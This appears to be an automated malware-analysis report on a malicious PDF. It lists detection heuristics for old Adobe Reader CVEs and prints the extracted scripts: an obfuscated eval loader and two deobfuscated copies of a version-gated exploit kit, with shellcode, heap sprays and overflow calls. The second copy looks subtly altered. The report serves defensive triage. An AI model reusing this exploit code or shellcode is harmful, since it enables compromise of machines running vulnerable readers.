MALICIOUS
448
Risk Score
Malware Insights
The PDF file was flagged as suspicious by an ML classifier with high confidence. Static analysis identified embedded JavaScript, indicating an attempt to execute code. The JavaScript action and embedded JS stream heuristics suggest the script is likely used to exploit a vulnerability or download a secondary payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0x7F0E | 770 bytes |
SHA-256: 4c2c57acdfd55e87402fb96674094114dd0758fd7f68be2f3ba6156346e3f7c8 |
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Preview scriptFirst 1,000 lines of the extracted script
function kcm(hnq){
return Math.floor(hnq/2);
};
var a = function() {
akf = (function(){return this;})();
tdf = new Date();
var wnn='';
var hhpam = 'e'+(parseInt(tdf.getDay()))+'a'+wnn+'l';
hhpam = hhpam.replace('4','v');
hdtup=akf[hhpam];
var taoc='';
var wnn='';
hdtup('va'+wnn+'r ooz=th'+wnn+'i'+wnn+'s');
hdtup(''+wnn+' veyo=Str'+wnn+'ing.f'+wnn+'romC'+wnn+'harCode');
dsl='pr' + wnn + tdf.getMonth() + wnn + 'uc' +'er';
dsl = dsl.replace('11', 'od');
var dpwbz = ooz[dsl];
bagr = wnn;
hdtup('va'+bagr+'r n' + wnn + 'r=[' + dpwbz + bagr + ']');
mwbps = nr;
xxqhc='le'+wnn+'ng'+wnn+'th';
krua = parseInt(mwbps[xxqhc]);
wnn = 0;
while (wnn < krua) {
taoc += veyo(mwbps[kcm(wnn)+kcm(krua)] - mwbps[kcm(wnn)]);
wnn += 2;
}
hdtup(taoc);
};
a.call();
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generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 | 3618 bytes |
SHA-256: 99da96d8145b40d8370451171a6afc6c0136315f51d027a36aee1ee199006427 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uee34%ue2aa%uc3fa%ue5e8%uffff%u07ff%uefe2%ueeee%u6fb0%ub202%ueeef%u67ee%u6309%ufea1%u8163%udfba%ub935%ubdbf%ubdbd%ubdbd%ubdbd%ubdbb%u86bd%uefea%ueeee%ub8bb%u86bd%u8081%ueeee%u9b86%u829c%uba83%u6086%ue0a0%u0602%ueea6%ueeee%u06be%uee92%ueeee%u3e11%u2a6d%u86e6%u01a1%ueba1%u06be%uee82%ueeee%u3e11%u2e6b%uf99b%uba84%u1db7%u8644%u109c%uf85d%uf306%ueeee%ubeee%ubf06%ueeee%u11ee%ubd3e%u1084%u6786%uef81%u0653%ueee6%ueeee%u06be%ueed2%ueeee%u3e11%udf8e%u8a2e%ube65%u65de%ue2bc%ubc65%u65fa%uc69c%uf657%ueeee%udfee%udf11%u422e%u8fd2%uec92%ucec2%u212f%uefe3%u0c29%u6f1e%ub511%ua452%u6584%ufeac%ufc65%u379b%uaa67%uf2ca%u2d8f%u658e%uca82%u65ca%ud2ab%uba65%u96eb%u04ef%ua465%u65f6%uceb4%u05ef%uda0d%u65a7%u65da%u00ef%u11df%u2edf%u4212%u2e6a%ue99a%u212f%uefe3%u0529%ud51a%uca92%u9bc6%u650f%ucab4%u05ef%u6588%ua5e2%ub465%ueff2%u6505%u65ea%u06ef%uaa67%uf2ca%u2c8f%ueee6%u0106%u1110%u8611%u9a9a%ud49e%uc1c1%u8c8d%udf9a%u8dc0%uc094%u8d8d%u8ac1%u9ec0%u9e86%u88d1%udad3%u8bc8%uddd3%u00ee';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;}
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from raw PDF metadata at offset 0x0 | 3614 bytes |
SHA-256: d3d8722a44863f746019df3ab0b03fb8b99dc55d407c9e9e2f6a3d25a3e5dd76 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uee34%ue2aa%uc3fa%ue5e8%uffff%u07ff%uefe2%ueeee%u6fb0%ub202%ueeef%u67ee%u6309%ufea1%u8163%udfba%ub935%ubdbf%ubdbd%ubdbd%ubdbd%ubdbb%u86bd%uefea%ueeee%ub8bb%u86bd%u8081%ueeee%u9b86%u829c%uba83%u6086%ue0a0%u0602%ueea6%ueeee%u06be%uee92%ueeee%u3e11%u2a6d%u86e6%u01a1%ueba1%u06be%uee82%ueeee%u3e11%u2e6b%uf99b%uba84%u1db7%u8644%u109c%uf85d%uf306%ueeee%ubeee%ubf06%ueeee%u11ee%ubd3e%u1084%u6786%uef81%u0653%ueee6%ueeee%u06be%ueed2%ueeee%u3e11%udf8e%u8a2e%ube65%u65de%ue2bc%ubc65%u65fa%uc69c%uf657%ueeee%udfee%udf11%u422e%u8fd2%uec92%ucec2%u212f%uefe3%u0c29%u6f1e%ub511%ua452%u6584%ufeac%ufc65%u379b%uaa67%uf2ca%u2d8f%u658e%uca82%u65ca%ud2ab%uba65%u96eb%u04ef%ua465%u65f6%uceb4%u05ef%uda0d%u65a7%u65da%u00ef%u11df%u2edf%u4212%u2e6a%ue99a%u212f%uefe3%u0529%ud51a%uca92%u9bc6%u650f%ucab4%u05ef%u6588%ua5e2%ub465%ueff2%u6505%u65ea%u06ef%uaa67%uf2ca%u2c8f%ueee6%u0106%u1110%u8611%u9a9a%ud49e%uc1c1%u8c8d%udf9a%u8dc0%uc094%u8d8d%u8ac1%u9ec0%u9e86%u88d1%udad3%u8bc8%uddd3%u00ee';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;}
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape(" ");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
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